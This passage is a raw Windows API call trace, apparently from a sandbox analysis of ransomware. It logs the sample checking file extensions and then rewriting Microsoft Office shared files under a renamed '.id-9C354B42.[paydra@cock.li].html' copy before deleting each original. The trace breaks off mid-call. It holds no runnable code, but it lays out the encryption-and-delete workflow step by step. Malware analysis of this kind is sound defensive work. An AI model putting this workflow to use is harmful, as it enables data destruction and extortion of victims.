[0049.866] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.866] lstrlenW (lpString=".docx") returned 5 [0049.866] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0049.866] lstrlenW (lpString=".pdf") returned 4 [0049.866] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.866] lstrlenW (lpString=".xls") returned 4 [0049.866] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.866] lstrlenW (lpString=".xlsx") returned 5 [0049.866] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0049.866] lstrlenW (lpString=".ppt") returned 4 [0049.866] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.866] lstrlenW (lpString=".zip") returned 4 [0049.866] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.866] lstrlenW (lpString=".rar") returned 4 [0049.866] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.866] lstrlenW (lpString=".bz2") returned 4 [0049.867] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.867] lstrlenW (lpString=".7z") returned 3 [0049.867] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.867] lstrlenW (lpString=".dbf") returned 4 [0049.867] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.867] lstrlenW (lpString=".1cd") returned 4 [0049.867] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.867] lstrlenW (lpString=".jpg") returned 4 [0049.867] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.867] lstrcmpiW (lpString1=".EXE", lpString2=".html") returned -1 [0049.867] lstrlenW (lpString="DW20.EXE") returned 8 [0049.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.592] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=994184) returned 1 [0051.592] CloseHandle (hObject=0x17c) returned 1 [0051.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0051.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.592] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.592] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.592] GetLastError () returned 0x0 [0051.593] ReadFile (in: hFile=0x17c, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xf2b88, lpOverlapped=0x0) returned 1 [0051.611] WriteFile (in: hFile=0x210, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xf2b90, lpOverlapped=0x0) returned 1 [0051.635] ReadFile (in: hFile=0x17c, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.635] WriteFile (in: hFile=0x210, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0051.635] SetEndOfFile (hFile=0x210) returned 1 [0051.635] CloseHandle (hObject=0x210) returned 1 [0051.635] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.635] SetEndOfFile (hFile=0x17c) returned 1 [0051.957] CloseHandle (hObject=0x17c) returned 1 [0051.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.957] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0051.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0051.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0051.957] lstrlenW (lpString=".doc") returned 4 [0051.957] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0051.957] lstrlenW (lpString=".docx") returned 5 [0051.957] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0051.957] lstrlenW (lpString=".pdf") returned 4 [0051.957] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0051.958] lstrlenW (lpString=".xls") returned 4 [0051.958] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0051.958] lstrlenW (lpString=".xlsx") returned 5 [0051.958] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0051.958] lstrlenW (lpString=".ppt") returned 4 [0051.958] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0051.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0051.958] lstrlenW (lpString=".zip") returned 4 [0051.958] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0051.958] lstrlenW (lpString=".rar") returned 4 [0051.958] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0051.958] lstrlenW (lpString=".bz2") returned 4 [0051.958] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0051.958] lstrlenW (lpString=".7z") returned 3 [0051.958] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0051.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0051.958] lstrlenW (lpString=".dbf") returned 4 [0051.958] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0051.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0051.958] lstrlenW (lpString=".1cd") returned 4 [0051.958] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0051.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0051.958] lstrlenW (lpString=".jpg") returned 4 [0051.958] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0051.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0051.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0051.958] lstrlenW (lpString=".doc") returned 4 [0051.958] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0051.958] lstrlenW (lpString=".docx") returned 5 [0051.958] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0051.958] lstrlenW (lpString=".pdf") returned 4 [0051.958] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0051.958] lstrlenW (lpString=".xls") returned 4 [0051.958] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0051.959] lstrlenW (lpString=".xlsx") returned 5 [0051.959] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0051.959] lstrlenW (lpString=".ppt") returned 4 [0051.959] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0051.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0051.959] lstrlenW (lpString=".zip") returned 4 [0051.959] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0051.959] lstrlenW (lpString=".rar") returned 4 [0051.959] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0051.959] lstrlenW (lpString=".bz2") returned 4 [0051.959] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0051.959] lstrlenW (lpString=".7z") returned 3 [0051.959] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0051.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0051.959] lstrlenW (lpString=".dbf") returned 4 [0051.959] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0051.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0051.959] lstrlenW (lpString=".1cd") returned 4 [0051.959] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0051.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0051.959] lstrlenW (lpString=".jpg") returned 4 [0051.959] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0051.959] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0051.959] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0051.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.960] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=712592) returned 1 [0051.960] CloseHandle (hObject=0x17c) returned 1 [0051.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0051.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.960] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.960] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.960] GetLastError () returned 0x0 [0051.960] ReadFile (in: hFile=0x17c, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xadf90, lpOverlapped=0x0) returned 1 [0051.976] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xadfa0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xadfa0, lpOverlapped=0x0) returned 1 [0051.986] ReadFile (in: hFile=0x17c, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.987] WriteFile (in: hFile=0x208, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.987] SetEndOfFile (hFile=0x208) returned 1 [0051.987] CloseHandle (hObject=0x208) returned 1 [0051.987] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.987] SetEndOfFile (hFile=0x17c) returned 1 [0051.992] CloseHandle (hObject=0x17c) returned 1 [0051.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.993] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 1 [0051.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.993] lstrlenW (lpString=".doc") returned 4 [0051.993] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0051.993] lstrlenW (lpString=".docx") returned 5 [0051.993] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0051.993] lstrlenW (lpString=".pdf") returned 4 [0051.993] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0051.993] lstrlenW (lpString=".xls") returned 4 [0051.993] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0051.993] lstrlenW (lpString=".xlsx") returned 5 [0051.993] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0051.993] lstrlenW (lpString=".ppt") returned 4 [0051.993] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0051.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.993] lstrlenW (lpString=".zip") returned 4 [0051.993] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0051.993] lstrlenW (lpString=".rar") returned 4 [0051.993] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0051.993] lstrlenW (lpString=".bz2") returned 4 [0051.993] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0051.993] lstrlenW (lpString=".7z") returned 3 [0051.993] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0051.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.993] lstrlenW (lpString=".dbf") returned 4 [0051.993] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0051.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.993] lstrlenW (lpString=".1cd") returned 4 [0051.994] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0051.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.994] lstrlenW (lpString=".jpg") returned 4 [0051.994] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0051.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.994] lstrlenW (lpString=".doc") returned 4 [0051.994] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0051.994] lstrlenW (lpString=".docx") returned 5 [0051.994] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0051.994] lstrlenW (lpString=".pdf") returned 4 [0051.994] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0051.994] lstrlenW (lpString=".xls") returned 4 [0051.994] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0051.994] lstrlenW (lpString=".xlsx") returned 5 [0051.994] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0051.994] lstrlenW (lpString=".ppt") returned 4 [0051.994] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0051.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0051.994] lstrlenW (lpString=".zip") returned 4 [0051.994] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0051.994] lstrlenW (lpString=".rar") returned 4 [0052.369] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0052.369] lstrlenW (lpString=".bz2") returned 4 [0052.369] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0052.369] lstrlenW (lpString=".7z") returned 3 [0052.369] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0052.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0052.369] lstrlenW (lpString=".dbf") returned 4 [0052.370] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0052.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0052.370] lstrlenW (lpString=".1cd") returned 4 [0052.370] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0052.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0052.370] lstrlenW (lpString=".jpg") returned 4 [0052.370] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0052.370] lstrcmpiW (lpString1=".CGM", lpString2=".html") returned -1 [0052.370] lstrlenW (lpString="MS.CGM") returned 6 [0052.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.027] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1908) returned 1 [0054.027] CloseHandle (hObject=0x238) returned 1 [0054.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0054.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0054.161] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.161] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0054.161] GetLastError () returned 0x0 [0054.161] ReadFile (in: hFile=0x198, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x774, lpOverlapped=0x0) returned 1 [0054.163] WriteFile (in: hFile=0x240, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x780, lpOverlapped=0x0) returned 1 [0054.164] ReadFile (in: hFile=0x198, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.164] WriteFile (in: hFile=0x240, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0054.164] SetEndOfFile (hFile=0x240) returned 1 [0054.164] CloseHandle (hObject=0x240) returned 1 [0054.164] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.164] SetEndOfFile (hFile=0x198) returned 1 [0054.165] CloseHandle (hObject=0x198) returned 1 [0054.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.165] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 1 [0054.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0054.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0054.165] lstrlenW (lpString=".doc") returned 4 [0054.165] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0054.165] lstrlenW (lpString=".docx") returned 5 [0054.165] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0054.165] lstrlenW (lpString=".pdf") returned 4 [0054.165] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0054.165] lstrlenW (lpString=".xls") returned 4 [0054.165] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0054.165] lstrlenW (lpString=".xlsx") returned 5 [0054.165] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0054.165] lstrlenW (lpString=".ppt") returned 4 [0054.166] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0054.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0054.166] lstrlenW (lpString=".zip") returned 4 [0054.166] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0054.166] lstrlenW (lpString=".rar") returned 4 [0054.166] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0054.166] lstrlenW (lpString=".bz2") returned 4 [0054.166] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0054.166] lstrlenW (lpString=".7z") returned 3 [0054.166] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0054.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0054.166] lstrlenW (lpString=".dbf") returned 4 [0054.166] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0054.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0054.166] lstrlenW (lpString=".1cd") returned 4 [0054.166] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0054.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0054.166] lstrlenW (lpString=".jpg") returned 4 [0054.166] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0054.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0054.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0054.166] lstrlenW (lpString=".doc") returned 4 [0054.166] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0054.166] lstrlenW (lpString=".docx") returned 5 [0054.166] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0054.166] lstrlenW (lpString=".pdf") returned 4 [0054.166] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0054.166] lstrlenW (lpString=".xls") returned 4 [0054.166] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0054.166] lstrlenW (lpString=".xlsx") returned 5 [0054.166] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0054.166] lstrlenW (lpString=".ppt") returned 4 [0054.166] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0054.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0054.167] lstrlenW (lpString=".zip") returned 4 [0054.167] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0054.167] lstrlenW (lpString=".rar") returned 4 [0054.167] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0054.167] lstrlenW (lpString=".bz2") returned 4 [0054.167] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0054.167] lstrlenW (lpString=".7z") returned 3 [0054.167] lstrcmpiW 